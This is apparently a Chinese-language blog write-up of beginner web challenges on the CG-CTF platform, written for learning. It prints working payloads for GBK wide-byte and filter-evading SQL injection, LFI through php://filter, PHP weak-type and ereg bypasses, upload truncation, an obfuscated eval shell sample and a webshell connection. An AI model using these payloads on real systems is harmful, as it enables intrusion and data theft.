CG-CTF-WEB

写在前面:

作为一名web新手,刷题是很有必要的,而CG-CTF是一个适合新手的做题平台,下面是我对于CG-CTF Web部分的解题思路,希望对大家有所帮助,如有欠缺,欢迎大家进行补充。

CG-CTF Web-Writeup

地址:https://cgctf.nuptsast.com/challenges#Web

0x01 签到题(题目地址:http://chinalover.sinaapp.com/web1/

直接F12,可得到flag

1

0x02 md5 collision(题目地址:http://chinalover.sinaapp.com/web19/

题目提供了源码。

源码(PHP)

$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
  echo "nctf{*****************}";
} else {
    echo "false!!!";
}}
else{echo "please input a";}

考察PHP弱类型以及md5函数漏洞

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

常见的payload有:

QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
 sha1(str)
sha1('aaroZmOk')  
sha1('aaK1STfY')
sha1('aaO8zKZF')
sha1('aa3OFF9m')

构造payload:?a=240610708,出flag

2

0x03 签到2(题目地址:http://teamxlc.sinaapp.com/web1/02298884f0724c04293b4d8c0178615e/index.php

提示输入zhimakaimen,输入后无反应,再F12查看源码:

3

发现输入框的maxlength=“10”,此时可以修改前端的maxlength,再次输入口令拿到flag

4

0x04 这题不是WEB(题目地址:http://chinalover.sinaapp.com/web2/index.html

一道简单的信息隐藏题,一进来只有一张图片,F12后可知图片名为2.gif,下载后将后缀名改为.txt。flag藏在文件末尾。

5

0x05 层层递进(题目地址:http://chinalover.sinaapp.com/web3/

正如题目所述,层层递进。

解法一:

F12,发现SO.html,查看后发现S0.html,继续查看发现SO.htm,继续查看发现S0.htm,最后发现404.html,进入后翻开源码找到flag,需要竖着看!

6

解法二:

直接抓包,在404.html文件中找到flag。

7

0x06 AAencode(题目地址:http://homura.cc/CGfiles/aaencode.txt

题目提示:javascript aaencode

打开后是乱码,用utf-8编码查看,发现是一堆颜文字。

8

其实是javascript的加密工具aaencode可以把js转为颜文字符号。

直接ctrl c +ctrl v丢进控制台执行,出来flag。

9

0x07 单身二十年(题目地址:http://chinalover.sinaapp.com/web8/

拼手速自然是不可能点出来的。

直接抓包就可以找到flag。

10

0x08 php decode(无地址)

题目源码:

见到的一个类似编码的shell,请解码

<?php
function CLsI($ZzvSWE) {

    $ZzvSWE = gzinflate(base64_decode ($ZzvSWE));

    for ($i = 0; $i < strlen($ZzvSWE); $i++) {

        $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);

    }

    return $ZzvSWE;

}
eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));
?>

我们保存后直接运行代码,会报出eval语法错误,将 eval改为echo试着输出解码后的结果,可以直接得到flag。

11

0x09 文件包含(题目地址:http://4.chinalover.sinaapp.com/web7/index.php

题目提示:LFI

文件包含题目,使用伪协议php://filter,通过index.php?file=php://filter/convert.base64-encode/resource=分别查看index.phpshow.php,解码后发现flag在index.php的末尾。

12

0x10 单身一百年也没用(题目地址:http://chinalover.sinaapp.com/web9/

单身100年也没用了,看见这种话就直接抓包,用Chrome自带的抓包,发现index.php文件,flag就在响应头中。

13

0x11 Download~!(die!)

0x12 COOKIE(题目地址:http://chinalover.sinaapp.com/web10/index.php

题目提示:TIP: 0==not
截包,修改cookie的值为1即可。

14

0x13 MYSQL(题目地址:http://chinalover.sinaapp.com/web11/

robots.txt是一种爬虫协议,通常存放在根目录下,首先查看robots.txt文件。

出现代码:
15

主要考察intval()函数的用法,php官网解释为:获取变量的整数值,所以此题要绕过,需要给id传入整数部分为1024,小数部分为不为0的值即可绕过。注意到是传入sql.php文件中。
构造payload:http://chinalover.sinaapp.com/web11/sql.php?id=1024.001,得到flag。

16

0x14 GBK Injection(题目地址:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1

本题考察宽字节注入。

当尝试id=1'时,发现'被转义了,在URL中%df\结合会变成,现在我们闭合了id的值,接下来在最后使用#--+--空格来注释掉最后一个'

接下来,依次进行爆破。

  • 判断sql注入的字段数量,有两个字段。
    id=-1%df' order by 1%23,回显正常。
    id=-1%df' order by 2%23,回显正常。
    id=-1%df' order by 3%23,回显错误。
  • 判断哪个字段是有效字段,第二个字段有效。
    id=-1%df' union select 1,2%23,回显2
  • 爆破数据库,数据库为sae-chinalover
    id=-1%df' union select 1,database()%23
  • 爆破表名,表名为ctf,ctf2,ctf3,ctf4,gbksqli,news
    id=-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23
  • 依次爆破各个表单下的字段名,发现ctf4有列名为flag。(注意!!!:后端过滤掉了表单名)
    id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634%23
  • 最后爆破flag。
    id=-1%df' union select 1,flag from ctf4%23

17

0x15 /x00(题目地址:http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php

此题考查ereg()函数绕过,有两种方法。
利用%00截断数组绕过。

?nctf=1%00%23biubiubiu
?nctf[]=%23biubiubiu

18

0x16 bypass again(题目地址:http://chinalover.sinaapp.com/web17/index.php

此题和0x02相似,都是考察PHP弱类型。
有两种解法:

?a=240610708&b=QNKCDZO  #利用哈希值。
?a[]=&b[]=111           #利用md5()不能处理数组。

19

0x17 变量覆盖(题目地址:http://chinalover.sinaapp.com/web18/index.php

<?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
                  <?php
                  extract($_POST);
                  if ($pass == $thepassword_123) { ?>
                      <div class="alert alert-success">
                          <code><?php echo $theflag; ?></code>
                      </div>
                  <?php } ?>
              <?php } ?>

extract()函数的$extract_type缺省值为1,若没有另外指定,函数将覆盖已有变量。
所以传入passthepassword_123相等即可。

21

0x18 PHP是世界上最好的语言(die!)

0x19 伪装者(http://chinalover.sinaapp.com/web4/xxx.php

根据题目意思,需要伪装在本地登陆。可能要用到client-ip或者x-forwarded-for
截包,添加字段client-ip:127.0.0.1。获得flag。

20

0x20 Header(die!)

0x21 上传绕过(题目地址:http://teamxlc.sinaapp.com/web5/21232f297a57a5a743894a0e4a801fc3/index.html

首先随便上传一个文件,提示要上传jpg,gif,png后缀的文件,再上传.jpg文件,又要求上传.php文件,上传.php时,又出了问题。

首先,手动构造一个1.php.jpg文件,然后抓包。利用00截断上传绕过。

原理:00截断是文件后缀名就一个%00字节,可以截断某些函数对文件名的判断,在许多语言函数中,处理字符串的函数中0x00被认为是终止符。

在二进制编码中找到文件的位置,将php后面的值改为00,然后GO一下就得到flag

22

0x22、SQL注入1(题目地址:http://chinalover.sinaapp.com/index.php

题目给出源代码:

<?php
if($_POST[user] && $_POST[pass]) {
        mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
    mysql_select_db(SAE_MYSQL_DB);
    $user = trim($_POST[user]);
    $pass = md5(trim($_POST[pass]));
    $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
        echo '</br>'.$sql;
    $query = mysql_fetch_array(mysql_query($sql));
    if($query[user]=="admin") {
          echo "<p>Logged in! flag:******************** </p>";
    }
    if($query[user] != "admin") {
        echo("<p>You are not admin!</p>");
    }
}
echo $query[user];
?>

此题为SQL注入,主要在于拼接sql语句的时候能够查询出user为admin的结果,此处只需要闭合user参数并注释掉后面的语句即可。

构造payload:

23

拿到flag

24

0x23、pass check(题目地址:http://chinalover.sinaapp.com/web21/

题目给出了源代码:

$pass=@$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>

考察strcmp()弱类型,传入数组时会返回null。所以post的数据为pass[]=1可以获取flag

25

0x24、起名字真难(题目地址:http://chinalover.sinaapp.com/web12/index.php

题目给出了源码:

<?php
function noother_says_correct($number)
{
    $one = ord('1');
       $nine = ord('9');
       for ($i = 0; $i < strlen($number); $i++)
       {   
               $digit = ord($number{$i});
               if ( ($digit >= $one) && ($digit <= $nine) )
              {
                      return false;
             }
       }
       return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
   echo $flag;
else 
   echo 'access denied';
?>

分析源码可得知:传入key的值中不能包含1-9的数字,但要和54975581388相等,此处转化为十六进制0xccccccccc即可获取到flag。

26

0x25、密码重置(题目地址:(http://nctf.nuptzj.cn/web13/index.php?user1=Y3RmdXNlcg==) )

post传参时发现还有get传参的user1,初始值为ctfuser经过base64编码的值,题目要求修改user=admin的密码,所以将user1的值改为adminbase64编码加密后的值YWRtaW4=user的值改为admin。即可获取flag。

27
28

0x26、php 反序列化(题目地址:http://4.chinalover.sinaapp.com/web25/index.php

题目给出源代码:

<?php
class just4fun {
  var $enter;
 var $secret;
}

if (isset($_GET['pass'])) {
 $pass = $_GET['pass'];

 if(get_magic_quotes_gpc()){
      $pass=stripslashes($pass);
  }

  $o = unserialize($pass);

 if ($o) {
     $o->secret = "*";
        if ($o->secret === $o->enter)
          echo "Congratulation! Here is my secret: ".$o->secret;
       else 
           echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
?>

本题考点在于反序列化后,secret会被重新赋值为一个未知的值,但要求enter跟secret的值一致才能拿到flag。
这里主要考察一个知识点:对象包含的引用在序列化时也会被存储。
我们通过将secret的引用赋值给enter,这样就可以同步变化,绕过验证。

编写脚本:

<?php
class just4fun {
  var $enter;
 var $secret;
}

$exp = new just4fun();
$exp -> enter = &$exp -> secret;
$pass = serialize($exp);
print_r($pass);
?>

得到payload:O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

但是没有flag。题目提示目前没法做,可能就是原因。

0x27、SQL Injection(题目地址:http://chinalover.sinaapp.com/web15/index.php

题目提示:TIP:反斜杠可以用来转义 仔细查看相关函数的用法。

view-source查看源码。

29

stripslashes函数用于去掉\,返回一个去除转义反斜线后的字符串(\‘ 转换为 ‘ 等等)。双反斜线(\\)被转换为单个反斜线(\)。

htmlentities — 将字符转换为 HTML 转义字符

由于htmllentities函数会使'失效,所以我们无法闭合源代码中的',根据题目提示灵活使用转义字符\

拿出SQL注入语句'SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';'来分析。

首先name=后面的’'‘将第一个'转移,剩下的'作为语句开头。

接下来到了问题关键处,pass=后面只能转义一个',所以剩下的那个'只能作为语句的闭合标志。因此我们需要将$username后面的'全部转义。这里就要用到’'。

接下来就简单了,构造payload:?username=admin \&password=or 1=1%23

传入的SQL语句变为:
SELECT * FROM users WHERE name='admin \' AND pass=' or 1=1

得到flag。

30

0x28、综合题(题目地址:http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/index.php

进入题目出现一堆代码,经查看后,是jsfuck,可以直接丢进控制台运行。得到1bc29b36f623ba82aaf6724fd3b16718.php,查看这个文件,提示TIP在脑袋里。
脑袋———header,在header中找到tip

31

提示history of bash,是指让我们去查看根目录下的.bash_history文件。

得到压缩命令:zip -r flagbak.zip ./*

我们下载flagbak.zip文件,找到其中的flag.txt文件打开得到flag。

32

0x29 system(die!)

0x30 SQL注入2(题目地址:http://4.chinalover.sinaapp.com/web6/index.php

首先查看题目给出的源码:

33

分析代码:

  • 题目提示主要考察union查询
  • 用post方法传入user和pass变量。
  • 传入的pass变量经过md5()加密。
  • query[pw]中储存的是结果。
  • 如果query[pw]中的结果与pass相等,即可得到flag
  • 既然我们不知道结果中有什么,那么就构造一个结果来利用。

构造payload:

user='union select md5(1)#    #开头'用于闭合user前面的',后面的#用于注释掉后面的'
pass=1                        #对应md5(1)

34

0x31综合题2(题目地址:http://cms.nuptzj.cn/

进入题目是一块留言板,先随便玩玩。

先来看留言搜索,输入1试试,

43

提示“只有用本公司开发的的浏览器”,猜想可能用到user-agent,但是我们并不知道到底是什么浏览器,所以继续往下看。

接下来看留言,猜想此处可能存在xsssql注入,先随便输入试试。

44

出题人说自己也不会xss,所以排除xss。

确认提交后,提示页码源代码中有惊喜!

我们用view-source查看网页源码,在第58行,发现"./about.php?file=sm.txt"

45

点开后,我们可以看到sm.txt文件的内容,很明显,此题存在文件包含漏洞。

46

sm.txt文件中给出了两个提示:

  • 一个是admin表结构 create table admin ( id integer, username text, userpass text, )这更加坚定了存在SQL注入。然后也没有什么有用的信息了。
  • 另一个是许多文件: config.php,index.php,passencode.php,say.php,不要忘了还有about.php。

再次返回留言板,最底部还有一个本CMS说明可以打开。还是sm.txt

现在我们可以利用文件包含漏洞读取上面找出的文件,先查看index.php

47

这样的代码可读性很差,我们可以利用python中的BeautifulSoup库来整理代码。编写脚本:

import requests
from bs4 import BeautifulSoup

url = "http://cms.nuptzj.cn/about.php?file="
file_list = ["index.php","passencode.php","config.php","say.php","so.php""about.php"]

for i in file_list:
    r = requests.get(url+i)
    print("download"+i)
    if r.status_code==200:
        r.encoding = "utf-8"
    r = BeautifulSoup(r.text,"html.parser")
    print(r)

关于BeautifulSoup库的使用可以参考我的另一篇blog–Python-requests 模块学习的相关连接。

先看index.php:

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
$file=$_GET['file'];
if($file=="" || strstr($file,'config.php')){
    echo "file参数不能为空!";
    exit();
}else{
    $cut=strchr($file,"loginxlcteam");
    if($cut==false){
    $data=file_get_contents($file);
    $date=htmlspecialchars($data);
    echo $date;
    }else{
        echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>";
    }
}

发现config.phploginxlcteam。我们看看这个loginxlcteam是什么。

发现Xlcteam留言板系统后台登录。

48

不出意外,应该就是在这里SQL注入,但是条件还没有成熟。

此时想到之前so.php中提到只有本公司开发的浏览器才能用。我们来查看so.php中的内容。

<?php
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
    exit();
}
$id=$_POST['soid'];
include 'config.php';
include 'antiinject.php';
include 'antixss.php';
$id=antiinject($id);
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
mysql_select_db($db_name,$con);
$id=mysql_real_escape_string($id);
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
$rs=mysql_fetch_array($result);
echo htmlspecialchars($rs['nice']).':<br />&nbsp;&nbsp;&nbsp;&nbsp;'.antixss($rs['say']).'<br />';
mysql_free_result($result);
mysql_free_result($file);
mysql_close($con);
?>
!这里才是SQL注入的地方

第2行代码,推出当$_SERVER['HTTP_USER_AGENT']=="Xlcteam Browser"才可以通过。接着往下看,第8行有防止SQL注入的antiinject.php文件。

查看antiinject.php文件。

<?php
function antiinject($content) {
    $keyword = array("select", "union", "and", "from", ' ', "'", ";", '"', "char", "or", "count", "master", "name", "pass", "admin", "+", "-", "order", "=");
    $info = strtolower($content);
    for ($i = 0;$i <= count($keyword);$i++) {
        $info = str_replace($keyword[$i], '', $info);
    }
    return $info;
}
?>

发现了文件中过滤了很多关键字。我们可以通过双写绕过或者=绕过,空格可以用/**/绕过。

开始SQL注入
  • 首先注意在header中将User-Agent设置为Xlcteam Browser
  • 先找出有效的注入字段,payload:soid=0/**/an=d/**/1/**/uni=on/**/sele=ct/**/1,2,3,4,回显2和3,说明2,3处可以注入。
  • 之前我们已经知道了admin表的结果,所以直接注入。payload:soid=0/**/an=d/**/1/**/uni=on/**/sele=ct/**/1,2,(sele=ct/**/group_concat(userp=ass)/**/fr=om/**/adm=in),4
  • 回显102 117 99 107 114 117 110 116 117,这是userpass的ASCII编码,解码得fuckruntu
  • 我们去后台登录。

49

接下来考察一句话木马,提供了文件名,查看文件。

50

直接使用蚁剑:

url : http://cms.nuptzj.cn/xlcteam. php?www=preg_replace
pass : wtf

查看后台文件,即可获得flag。

0x32密码重置2(题目地址:http://nctf.nuptzj.cn/web14/index.php

TIPS:
1.管理员邮箱观察一下就可以找到
2.linux下一般使用vi编辑器,并且异常退出会留下备份文件
3.弱类型bypass

先了解Linux下的备份文件:

vim的特性,自动备份:

一、vim备份文件

     默认情况下使用Vim编程,在修改文件后系统会自动生成一个带~的备份文件,某些情况下可以对其下载进行查看;

    eg:index.php普遍意义上的首页,输入域名不一定会显示。   它的备份文件则为index.php~

二、vim临时文件

    vim中的swp即swap文件,在编辑文件时产生,它是隐藏文件,如果原文件名是submit,则它的临时文件

 .submit.swp。如果文件正常退出,则此文件自动删除。
  • 需要用post方式传入email和token。
  • 先找email,F12源码中找到管理员邮箱admin@nuptzj.cn
  • 再找token,在.submit.php.swp文件下发现源码。

35

  • 分析源码可知:token必须等于0,长度必须为10,可以推出token=0000000000
  • 最后传入emailtoken
  • 得到flag:nctf{thanks_to_cumt_bxs}

36

0x33 file_get_contents(题目地址:http://chinalover.sinaapp.com/web23/

什么都没有,view-soure查看源码。

37

先了解file_get_contents()函数。

38

绕过file_get_contents()函数共有两种方法:
一、使用Data URI scheme (data: base64) 协议。

 #常用格式有:
 1、 data:,<文本数据>  
 2、 data:text/plain,<文本数据>  
 3、 data:text/html,<HTML代码>  
 4、 data:text/html;base64,<base64编码的5、HTML代码>  
 6、 data:text/css,<CSS代码>  
 7、 data:text/css;base64,<base64编码的CSS代码>  
 8、 data:text/javascript,<Javascript代码>  
 9、 data:text/javascript;base64,<base64编码的Javascript代码>  
10、data:image/gif;base64,base64编码的gif图片数据  
11、data:image/png;base64,base64编码的png图片数据  
12、data:image/jpeg;base64,base64编码的jpeg图片数据  
13、data:image/x-icon;base64,base64编码的icon图片数据

构造payload:

?file=data:,meizijiu
?file=data:text/plain,meizijiu

二、二、使用伪协议php://input,再通过POST方法传入"meizijiu"

构造payload:

39

得到flag

40

0x34 变量覆盖(题目地址:http://chinalover.sinaapp.com/web24/

先用view-source查看源码

41

只需要name=="meizijiu233"即可得到flag。

利用$$key=$value,传入name=meizijiu233可以覆盖掉name原来的值,使条件成立。

payload:?name=meizijiu233

42

0x35 注意(直接提供flag)



写在后面:

这些题目只是web入门级别的,接下来就要向更难的题目进发!!!
-------------本文结束感谢您的阅读-------------